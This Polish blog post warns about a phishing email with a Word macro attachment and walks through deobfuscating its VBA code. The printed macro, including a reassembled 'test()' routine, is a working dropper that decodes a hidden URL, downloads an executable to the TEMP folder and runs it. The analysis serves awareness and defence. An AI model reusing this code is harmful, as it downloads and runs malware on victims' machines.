Uwaga na wirusy w makrach !!!
Przykład wirusa w pliku (docm) word z makrami.. 
  strona główna:
A po co ten Excel ;-)
 
 
 
 
 
W pracy na maila służbowego dostałem maila… Krótka treść sugerująca fax z Niemiec + załącznik: Fax 49 22329622383.docm  
i tyle. Pominę samego maila.. Ale zajmę się załącznikiem bo wg mnie jest stanowczo ciekawszy :-)  
Ostrożność podpowiadała mi że sprawa śmierdzi więc:  
 
Najpierw sprawdziłem czy sam dokument zawiera jakąś treść. Otworzyłem plik tak jakby był archiwum 7zip'em następnie sam plik  
Edytorem xml
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Plik jest pusty!! A analizując wielkość poszczególnych elementów.. 90% wielkości to vbaProject.bin :-)  
Sprawdzimy co to? :-) Na początku raczej wolałem usunąć gada ale ciekawość zrobiła swoje :-)  
Trzymam Shift!!!  
 
 
 
 
 
 
 i dwuklik na plik. A w nim:
 
W ThisDocument Sub Auto_Open()..  
 
Sub Auto_Open()  
IsAlphaNumDashUnder "Vig"  
IsWord "Dota"  
IsEmail "helpdesc@mail.com"  
IsName "Augustos"  
IsAlpha "Outdoorstand"  
IsBlank "Sed"  
IsAlphaNum "Destanation-"  
End Sub  
 
w sumie nic ciekawego…  
w Modułach funkcje np.:  
 
' ---------------------------------  
' FUNCTION:     IsName  
' Description:  Checks if string is a name (can contain: letter, period, dash, space)  
' Assumptions:  -  
' Parameters:   strInspect - string to check  
' Returns:      boolean - True (string is a name), False (string contains non-word characters)  
' Throws:       none  
' References:   none  
' Source/date:  
'   Matthew Scharley, November 8, 2008  
'   http://stackoverflow.com/questions/275160/regex-for-names  
' Adapted:      Bonnie Campbell, April 4, 2016 - for NCPN tools  
' Revisions:  
'   BLC - 4/4/2016 - initial version  
' ---------------------------------  
Public Function IsName(strInspect As String) As Boolean  
On Error GoTo Err_Handler:  
 
Fradkof__1.Open PerecPech(10 - (2 + 1 + 2)), Djeremy, False  
Fradkof__1.send  
 Fradkof__4 = Fradkof__3(PerecPech(180 / 30))  
   
 FradkofNaStole = Fradkof__4  
FradkofNaStole = FradkofNaStole + PerecPech(55 - 43)  
 
    Dim strPattern As String  
    strPattern = "^[A-Z]'?[- a-zA-Z]([a-zA-Z])*$"  
 
    IsName = IsRegExpMatch(strInspect, strPattern)  
      
Exit_Handler:  
    Exit Function  
 
Err_Handler:  
    Select Case Err.Number  
      Case Else  
        MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _  
            "Error encountered (#" & Err.Number & " - IsName[mod_Validation])"  
    End Select  
    Resume Exit_Handler  
End Function  
 
jakaś funkcja wykorzystująca (w podfunkcji) wyrażenia regularne do zwrócenia Prawda/Fałsz.. Ładna obsługa błędów.. Tylko co to   
jest ten początek:  
 
Fradkof__1.Open PerecPech(10 - (2 + 1 + 2)), Djeremy, False  
Fradkof__1.send  
Fradkof__4 = Fradkof__3(PerecPech(180 / 30))  
FradkofNaStole = Fradkof__4  
FradkofNaStole = FradkofNaStole + PerecPech(55 - 43)  
 
????? :-)  
 
Okazuje się że większość funkcji i procedur załączonych w pliku ma takie początki.. Przyglądnąłem się właśnie im..  
Obiekty i zmienne są tworzone globalnie i zapisane jako publiczne w Module 1  
 
Public Fradkof__1 As Object  
Public PerecPole As Object  
Public Fradkof__3 As Object  
Public ContainerX() As String  
Public Fradkof__4 As String  
Public FradkofNaStole As String  
Public Fradkof_sedming As Object  
Public Djeremy As String  
Public PerecPech() As String  
 
A gdyby tak połączyć te "przedrostki" poszczególnych funkcji.. W kolejności takiej jak są wywoływane w Auto_open()??  
Powstaje coś takiego:  
 
Sub test()  
    '----------------------kolejność------  
    'IsAlphaNumDashUnder "Vig"  
    'IsWord "Dota"  
    'IsEmail "helpdesc@mail.com"  
    'IsName "Augustos"  
    'IsAlpha "Outdoorstand"  
    'IsBlank "Sed"  
    'IsAlphaNum "Destanation-"  
    '---------------------  
 
 
    '------IsAlphaNumDashUnder  
    ContainerX = Split("1664Ý1856Ý1856Ý1792Ý928Ý752Ý752Ý1904Ý1904Ý1904Ý" & _  
                       "736Ý1792Ý1616Ý1584Ý1616Ý1584Ý1680Ý1856Ý1776Ý1840Ý" & _  
                       "736Ý1584Ý1776Ý1744Ý752Ý912Ý1872Ý1664Ý896Ý880Ý1648Ý" & _  
                       "880Ý848Ý864", "Ý")  
 
    '------IsWord  
    Dim aFradkof As String  
    aFradkof = TREwozner(UserForm1.TextBox1.ControlTipText, "00", "e")  
    aFradkof = TREwozner(aFradkof, "D!", "M")  
    aFradkof = TREwozner(aFradkof, "bri", "s")  
    PerecPech = Split(aFradkof, "10)")  
      
    Set Fradkof__1 = CreateObject(PerecPech(0))  
    Set PerecPole = CreateObject(PerecPech(1))  
    Set Fradkof_sedming = CreateObject(PerecPech(2))  
      
    '------IsEmail  
    Set Fradkof__0_22 = CreateObject(PerecPech(3))  
    Set Fradkof__3 = Fradkof__0_22.Environment(PerecPech(4))  
    Stop  
       
    Dim IJK As Integer  
    For IJK = LBound(ContainerX) To UBound(ContainerX)  
        Djeremy = Djeremy & RemoveSpecialChar(IJK)  
        Debug.Print Djeremy  
    Next IJK  
    Debug.Print Djeremy  
      
    '------IsName  
    Stop
 
    Fradkof__1.Open PerecPech(10 - (2 + 1 + 2)), Djeremy, False  
    Fradkof__1.send  
    Fradkof__4 = Fradkof__3(PerecPech(180 / 30))  
    Debug.Print Fradkof__4  
   
    FradkofNaStole = Fradkof__4  
    FradkofNaStole = FradkofNaStole + PerecPech(55 - 43)  
    Debug.Print FradkofNaStole  
       
    '------IsAlpha  
    wozner4 = 22  
    PerecPole.Type = 1  
    PerecPole.Open  
      
    '------IsBlank  
    Perec = Fradkof__1.responseBody  
    Stop  
    PerecPole.write Perec  
    PerecPole.savetofile FradkofNaStole, 2  
      
    '------IsAlphaNum  
    Fradkof_sedming.Open (FradkofNaStole)  
      
End Sub  
 
No to po kolei…  
 
    '------IsAlphaNumDashUnder  
    ContainerX = Split("1664Ý1856Ý1856Ý1792Ý928Ý752Ý752Ý1904Ý1904Ý1904Ý" & _  
                       "736Ý1792Ý1616Ý1584Ý1616Ý1584Ý1680Ý1856Ý1776Ý1840Ý" & _  
                       "736Ý1584Ý1776Ý1744Ý752Ý912Ý1872Ý1664Ý896Ý880Ý1648Ý" & _  
                       "880Ý848Ý864", "Ý")  
 
tworzy tablicę liczb:  
 
    '------IsWord  
    Dim aFradkof As String  
    aFradkof = TREwozner(UserForm1.TextBox1.ControlTipText, "00", "e")  
    aFradkof = TREwozner(aFradkof, "D!", "M")  
    aFradkof = TREwozner(aFradkof, "bri", "s")  
    PerecPech = Split(aFradkof, "10)")  
 
Public Function TREwozner(A1 As String, A2 As String, A3 As String) As String  
TREwozner = Replace(A1, A2, A3)  
End Function  
 
W tip'ie TextBox'a na UserForm'ie jest tekst:  
D!icrobrioft.XD!LHTTP10)Adodb.britr00aD!10)brih00ll.Application10)Wbricript.brih00ll10)Proc00bribri10)G00T10)T00D!P10)Typ0010)  
op00n10)writ0010)r00briponbri00Body10)briav00tofil0010)\ihhadib00.00x00  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
ten tekst funkcją Replace podmieniającą fragmenty na ich odpowiednie inne ciągi ("00" -> "e"; "D!" -> "M"; "bri" -> "s")  
oraz podział powstałego ciągu przez "10)" powstaje tablica PerecPech. A w niej:
 
 
 
 
 
 
 
 
 
 
 
 
Już wiadomo z czego program będzie korzystał..  
 
    Set Fradkof__1 = CreateObject(PerecPech(0))  
    Set PerecPole = CreateObject(PerecPech(1))  
    Set Fradkof_sedming = CreateObject(PerecPech(2))  
 
tworzy pierwsze 3..  
 
    '------IsEmail  
    Set Fradkof__0_22 = CreateObject(PerecPech(3))  
    Set Fradkof__3 = Fradkof__0_22.Environment(PerecPech(4))  
    Stop  
 
następny jest Wscript.shell .Environment("Process")  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Teraz przyglądnijmy się po co te liczby w ContainerX  
 
    Dim IJK As Integer  
    For IJK = LBound(ContainerX) To UBound(ContainerX)  
        Djeremy = Djeremy & RemoveSpecialChar(IJK)  
    Next IJK  
    Debug.Print Djeremy  
 
Public Function RemoveSpecialChar(strFileName As Integer) As String  
RemoveSpecialChar = Chr(CInt(ContainerX(strFileName)) / (9 + 7))  
End Function  
 
Procedura do zmiennej Djeremy zbiera ciąg…  
 
 
 
 
No i już wiemy :-)  
 
    Fradkof__1.Open PerecPech(10 - (2 + 1 + 2)), Djeremy, False  
 
 
 
    Fradkof__1.send  
 
następnie:  
    Fradkof__4 = Fradkof__3(PerecPech(180 / 30))  
    Debug.Print Fradkof__4  
   
    FradkofNaStole = Fradkof__4  
    FradkofNaStole = FradkofNaStole + PerecPech(55 - 43)  
    Debug.Print FradkofNaStole  
 
 
 
 
 
i mamy :-) zarówno nazwę programu jak i lokalizację w którym ma on być zapisany :-)  
 
 
następnie:  
    '------IsAlpha  
    wozner4 = 22  
    PerecPole.Type = 1  
    PerecPole.Open  
      
    '------IsBlank  
    Perec = Fradkof__1.responseBody  
    Stop  
    PerecPole.write Perec  
 
to nie wygląda niebezpiecznie. Zapisywałem ten ciąg do pliku txt.. - stronka internetowa.. Nie dysponuję wystarczającą wiedzą  
żeby oceniać jej bezpieczeństwo.  
 
    PerecPole.savetofile FradkofNaStole, 2  
      
    '------IsAlphaNum  
    Fradkof_sedming.Open (FradkofNaStole)  
 
ściągnięcie i włączenie pliku ihhadibe.exe  
 
tu trochu info o nim:  
https://malwr.com/analysis/ZDEwZGVmOTI0NWE3NDEzYWEyZGRiNWY5ODY3NGZjZjM/  
https://www.hybrid-analysis.com/sample/813cd14cfab017055eb829d8acb33140680c0a52d4643ef16e843dbe2b98f38d?environmentId=100&lang=pl  
 
Ps: przeglądnijcie zawartość folderu c:\Users\"user"\AppData\Local\Temp pod kątem *.exe :-) Naprawdę warto! :-)  
 
Ps2: Wg mnie niesamowita procedura :-) Sposób przechowywania części treści w Tip'ie kontrolki na UserFormie, tworzenie  
obiektów z tablicy nazw, manewry liczbami w tablicy ContainerX żeby powstał adres url.. - pouczające!! :-)  
 
Uważajcie!!